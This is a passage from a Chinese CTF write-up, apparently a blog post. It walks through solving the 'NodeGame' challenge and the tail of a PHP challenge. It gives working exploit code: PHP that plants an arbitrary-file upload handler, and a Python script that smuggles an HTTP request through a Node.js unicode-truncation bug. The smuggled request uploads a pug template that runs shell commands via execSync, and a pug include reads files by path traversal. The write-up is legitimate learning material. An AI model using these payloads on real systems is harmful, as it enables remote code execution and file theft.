    ($helper->b)($cmd);
    exit();
}

不过脚本太大要先整一个上传文件脚本上去

file_put_contents('kotori.html','<html><body><form action="kotori.php" method="post" enctype="multipart/form-data"><input type="file" name="file" id="file" /><input type="submit" name="submit" value="Submit" /></form></body></html>');

file_put_contents('kotori.php','<?php if (file_exists("./".$_FILES["file"]["name"])){echo $_FILES["file"]["name"]."already exists.";}else{move_uploaded_file($_FILES["file"]["tmp_name"],"./".$_FILES["file"]["name"]);echo "Stored in: "."./".$_FILES["file"]["name"];}?>');

然后上传脚本访问得到flag

至于这个脚本的原理就是pwn方向的东西了Orz

NodeGame

拿下源码,读到/file_upload

    if (!ip.includes('127.0.0.1')) {
        obj.msg="only admin's ip can use it"
        res.send(JSON.stringify(obj));
        return 
    }

可以看到上传接口只允许本地访问

往下看,看到/core

        var url = 'http://localhost:8081/source?' + q
        console.log(url)
        var trigger = blacklist(url);
        if (trigger === true) {
            res.send("<p>error occurs!</p>");
        } else {
            try {
                http.get(url, function(resp) {
                    resp.setEncoding('utf8');
                    resp.on('error', function(err) {
                    if (err.code === "ECONNRESET") {
                     console.log("Timeout occurs");
                     return;
                    }
                   });

                    resp.on('data', function(chunk) {
                        try {
                         resps = chunk.toString();
                         res.send(resps);
                        }catch (e) {
                           res.send(e.message);
                        }
 
                    }).on('error', (e) => {
                         res.send(e.message);});
                });
            } catch (error) {
                console.log(error);
            }
        }

虽然可以发送请求但只能向/source,估计就是要想办法绕出这个限制。这里自然就会想到http走私,但是nodejs对换行符会进行处理,防止CRLF

不过在nodejs 8.12.0版本中存在着会将高位字符丢弃,只保留低位字符的问题。也就是发出http请求传入0xffff,最终会被处理为0xff
Bug:HTTP请求路径中的unicode字符损坏

通过这个漏洞就可以进行http走私,同时也可以不用考虑黑名单的过滤

function blacklist(url) {
    var evilwords = ["global", "process","mainModule","require","root","child_process","exec","\"","'","!"];
    var arrayLen = evilwords.length;
    for (var i = 0; i < arrayLen; i++) {
        const trigger = url.includes(evilwords[i]);
        if (trigger === true) {
            return true
        }
    }
}

python下这样处理一下就行
payload = ''.join(chr(int('0xff' + hex(ord(c))[2:].zfill(2), 16)) for c in payload)

然后就是要传什么上去了,nodejs不能像php一样传一个马上去执行
这里看到在/下可以通过action去调用一个模板

app.get('/', function(req, res) {
    var action = req.query.action?req.query.action:"index";
    if( action.includes("/") || action.includes("\\") ){
        res.send("Errrrr, You have been Blocked");
    }
    file = path.join(__dirname + '/template/'+ action +'.pug');
    var html = pug.renderFile(file);
    res.send(html);
});

在开始也引入了模板的包

var pug = require('pug');

于是去查一下pug模板的使用
pug模板引擎(原jade)
基本和html差不多,要注意的是如果要使用js代码,需要在代码前用-标记

构造一下上传的http包(这里调了好久)
然后通过控制Content-Type,将文件上传到template目录下,使pug文件能被读到

var file_path = '/uploads/' + req.files[0].mimetype +"/";

这里还需要将\n换为\r\n来造成CRLF

import urllib.parse
import requests

payload = ''' HTTP/1.1

POST /file_upload HTTP/1.1
Host: localhost:8081
Content-Type: multipart/form-data; boundary=---------------------------12837266501973088788260782942
Content-Length: 6279
Connection: close

-----------------------------12837266501973088788260782942
Content-Disposition: form-data; name="file"; filename="ls.pug"
Content-Type: ../template

- return global.process.mainModule.require('child_process').execSync('ls /')

-----------------------------12837266501973088788260782942--

'''

payload = payload.replace("\n", "\r\n")
payload = ''.join(chr(int('0xff' + hex(ord(c))[2:].zfill(2), 16)) for c in payload)
print(payload)
r = requests.get('http://3806a2c7-9d80-451f-9af2-44d44dd18dd0.node3.buuoj.cn/core?q=' + urllib.parse.quote(payload))
print(r.text)

读一下根目录

flag文件是flag.txt,于是cat /flag.txt

得到flag

这里也可以通过include来读flag

html
    include ../../../../../../../../flag.txt

至于反弹shell,好像BUU弹不了就算了

这题的原题也可以去看看
Split second

最后修改:2020 年 03 月 18 日 10 : 25 PM
如果觉得我的文章对你有用,请随意赞赏

发表评论